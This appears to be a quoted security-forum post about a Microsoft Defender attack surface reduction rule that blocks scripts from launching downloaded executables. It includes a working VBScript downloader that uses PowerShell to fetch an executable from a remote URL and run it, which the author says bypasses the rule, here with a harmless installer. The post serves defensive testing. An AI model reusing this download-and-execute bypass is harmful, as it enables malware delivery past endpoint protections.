[QUOTE="Andy Ful, post: 694403, member: 32260"] In fact the ASR rule 'Impede JavaScript and VBScript to launch executables' has also another more appropriate description: 'Block JavaScript or VBScript from launching downloaded executable content'. . So, it cannot block the script from executing files that are already on the disk, but can block some script trojan downloaders. That feature works independently of Microsoft Office. The bad thing is that I managed to bypass this ASR rule using the VBS script trojan downloader: [CODE]Set WshShell = CreateObject("WScript.Shell") WshShell.Run("c:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noprofile -command (New-Object System.Net.WebClient).DownloadFile('https://kcsoftwares.com/files/sumo_lite.exe','C:\Users\Public\Downloads\sumo_lite.exe')") WScript.Sleep(10000) WshShell.Run("C:\Users\Public\Downloads\sumo_lite.exe") WScript.Quit[/CODE] The downloaded/executed file is a harmless SUMO lite installer from the developer site. The analogical script without using PowerShell is blocked by ASR (no file is downloaded).
